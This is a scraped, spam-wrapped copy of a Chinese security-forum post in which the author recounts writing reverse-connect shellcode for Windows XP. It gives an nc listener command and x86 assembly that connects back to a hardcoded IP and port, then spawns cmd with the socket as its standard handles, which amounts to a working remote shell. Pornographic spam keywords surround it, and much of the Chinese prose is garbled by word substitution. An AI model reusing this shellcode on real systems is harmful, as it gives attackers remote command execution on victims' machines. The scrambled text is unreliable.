栏目分类
ady@ady9

当前位置:兼职学生 > ady@ady9 >

热点资讯

日本萝莉 porn [原创]编写反连ShellCode碰到的难点并处分之回首-二进制间隙-看雪-安全社区|安全招聘|kanxue.com

发布日期:2024-09-27 22:25    点击次数:150

日本萝莉 porn [原创]编写反连ShellCode碰到的难点并处分之回首-二进制间隙-看雪-安全社区|安全招聘|kanxue.com

人妖sm 题目:编写反连ShellCode碰到的难点并处分之回首 作家:仙果 目次 0x1 题记 0x2 相干 0x3 难点 0x4 回首 0x1 题记    间隙分析暂告了一个段落,转向了安谧编写一个反连的ShellCode,相干代码收集上还是许多许多,    我方也参考了收集上公布的代码进行编写,此篇著作东要记载编写经由中困扰我方许多时辰的相干问题,并加上我方的泄露。 0x2 相干 修复系统:         Windows XP SP3_cn         捏造机Windows XP sp2_cn 修复软件:         vc++6.0 sp6中语版         vs2008 中语版 调试软件:         WinDbg 0x3 难点     由于对win32_socket编程少许也不了解,最多也就编写过扫描端口的小步调,亦然照着网上的代码版拼半凑的完成,     是以这次编写反连的ShellCode的经由总共是在对其一无所知的情况下完成的,虽然完成之后对socket编程也照旧一知半解的景况。         先是在收集上搜索关系于反连ShellCode的相干代码,果真能搜索到的代码很少,许多相通简略访佛的代码对我方莫得什么用处,         临了在metasploit的网站陡立载到一套代码,其机器码不错平常彭胀,但源码是asm局势在本机上编译许多场地出错,         不最多怎么进行修改,其功能不合适这次编写的条款,只高东说念主动我方编写,代码行为参考。相干代码会进行打包上传,         我写的源代码就不传了,大家不错字据帖出来的代码自行编写。     此前还是把腹地监听端口的相干代码还是完成,故应用此前的相干代码,经过比较与监听端口比拟只存在相干收集处理函数的不同,     其运调遣函数齐是相通的。 0x3.1         在捏造机中使用NC用具监听需要衔尾的端口,敕令为nc.exe -l -p         4444-vv    经过WSAStartup及WSASocketA(2,1,0,0,0,0)函数处理后,接下来需要调用connect进行相干处理。    查询而已得connect彭胀到手,则其复返值为0,在调试的时间复返值齐是0xffffffff,报错并退出,代码为:
LConnnect:
    push 0xF700A8C0 ; host: 192.168.0.247 6401A8C0
    push 0x11220002 ; port: 8721 
    mov ecx, esp
    push byte 0x10
    push ecx
    push ebx
    call [ebp + 16]   //connect
    test eax, eax
    jne short LFinished
无法得回解答,网上也莫得任何细节上的问题,还好腹地有一份用C谈话已矣的代码, 在vc6中进行反汇编调试,截取相干细节
85:       if(0 != connect(locals, (struct sockaddr*)&s_sin, sizeof(s_sin)))
00401AB7   mov         esi,esp
00401AB9   push        10h
00401ABB   push        offset s_sin (0047cdf0)
00401AC0   mov         eax,[locals (0047ce5c)]
00401AC5   push        eax
00401AC6   call        dword ptr [__imp__connect@12 (0047f374)]
00401ACC   cmp         esi,esp
00401ACE   call        __chkesp (00420c40)
00401AD3   test        eax,eax
00401AD5   je          getshell+12Bh (00401aeb)


 push        offset s_sin (0047cdf0)中保存了 端口和反连IP
0047CDF0  02 00 22 11 C0 A8 01 03  ..".括..
0047CDF8  00 00 00 00 00 00 00 00  ........
 mov         eax,[locals (0047ce5c)] 保存socket的句柄
在windbg中进行调试发现,      push 0xF700A8C0 ; host: 192.168.0.247 6401A8C0     push 0x11220002 ; port: 8721     mov ecx, esp 经由是  压入反连IP和端口,mov ecx,esp这句是把端口和IP赋给ecx,并不才面的代码中压入堆栈,行为connect的参数。 还犯了一次把192和168的位置弄反的初级诞妄,最终得以使connect的复返值为正确的0x0。 0x2     接下来是对CreateprocessA的参数进行处理,主要牵连到两个结构&si及&pi,不知说念在汇编中怎么已矣这两个结构,     参考代码看的不是很懂,只可拿现成的代码进行反汇编,相干代码如下:     124:      CreateProcess(NULL, "cmd.exe", NULL, NULL, 1, NULL, NULL, NULL, &si, &pi);
00401CB3   mov         esi,esp
00401CB5   push        offset pi (0047ce08)  //压入&pi
00401CBA   push        offset si (0047ce18)  //压入&si
00401CBF   push        0
00401CC1   push        0
00401CC3   push        0
00401CC5   push        1
00401CC7   push        0
00401CC9   push        0
00401CCB   push        offset string "cmd.exe" (0046f178)
00401CD0   push        0
00401CD2   call        dword ptr [__imp__CreateProcessA@40 (0047f200)]

0047CDF8  00 00 00 00 00 00 00 00  ........ //&pi
0047CE00  00 00 00 00 00 00 00 00  ........
0047CE08  00 00 00 00 00 00 00 00  ........
0047CE10  00 00 00 00 00 00 00 00  ........
0047CE18  44 00 00 00 00 00 00 00  D.......//&si
0047CE20  00 00 00 00 00 00 00 00  ........
0047CE28  00 00 00 00 00 00 00 00  ........
0047CE30  00 00 00 00 00 00 00 00  ........
0047CE38  00 00 00 00 00 00 00 00  ........
0047CE40  00 00 00 00 00 01 00 00  ........
0047CE48  00 00 00 00 00 00 00 00  ........
0047CE50  A0 07 00 00 A0 07 00 00  ........
0047CE58  A0 07 00 00 A0 07 00 00  ........
不雅察其内存数据,&pi是4段为0x0的数据,况且其地址齐是连气儿的,自后跟的是&si &si的结构比较复杂,第一项的值为0x44 ,第十二项为0x100,临了三项为socket的句柄,其余项齐为0, 况且其内存也齐是连气儿的,这就比较好办些。 以下是已矣代码,跟参考代码有部分鉴别
  
          xchg    ebx, eax                        ; ebx = socket 句柄
					mov		ebx,eax 													//这段代码是无须的
        push    646D63h                         ; "cmd"
        lea     edx, [esp]                       //把"cmd"赋给edx
		

        sub     esp, 54h
        mov     edi, esp
				//mov dword ptr[edi],0x0

        push    14h
        pop     ecx                               //14h赋给ecx
        xor     eax, eax
stack_zero:
        mov     [edi+ecx*4], eax                //这段代码对edi的ecx*4的鸿沟内赋值0,即运调遣0
        loop    stack_zero
        
        /*以下代码构造&pi及si*/
        mov     byte ptr [edi+10h], 44h         ; si.cb = sizeof(si)
        inc     byte ptr [edi+3Ch]              ; si.dwFlags = 0x100
        inc     byte ptr [edi+3Dh]              ; dwFlags
        mov     [edi+48h], ebx                  ; si.hStdInput = socket
        mov     [edi+4Ch], ebx                  ; hStdOutput = socket
        mov     [edi+50h], ebx                  ; hStdError = socket
        lea     eax, dword ptr [edi+10h]

        push    edi        //&pi
        push    eax        //0x44 &si
        push    ecx
        push    ecx
        push    ecx
        push    1
        push    ecx
        push    ecx
        push    edx                             ; "cmd"
        push    ecx
        call    dword ptr [esi+0x4]
   到这里反连ShellCode 就完成了     0x4 回首                         由于回首对socket编程一知半解,是以对ShellCode的编写也无法作念到交融交融,                         对数据结构少许也莫得搏斗,看来还需要加强在编程方面的基础                         以上记载对大牛来说来说便是纯粹的不成再纯粹的事情,我等小菜叶仅仅纯粹记载下分享给像我相同                         对编写ShellCode不懂的手足。 参考代码.rar

[培训]内核驱动高等班日本萝莉 porn,冲击BAT一流互联网大厂使命,每周日13:00-18:00直播讲课

上传的附件: 参考代码.rar (312.69kb,66次下载)

友情链接:

Powered by 兼职学生 @2013-2022 RSS地图 HTML地图

Copyright Powered by站群 © 2013-2022 版权所有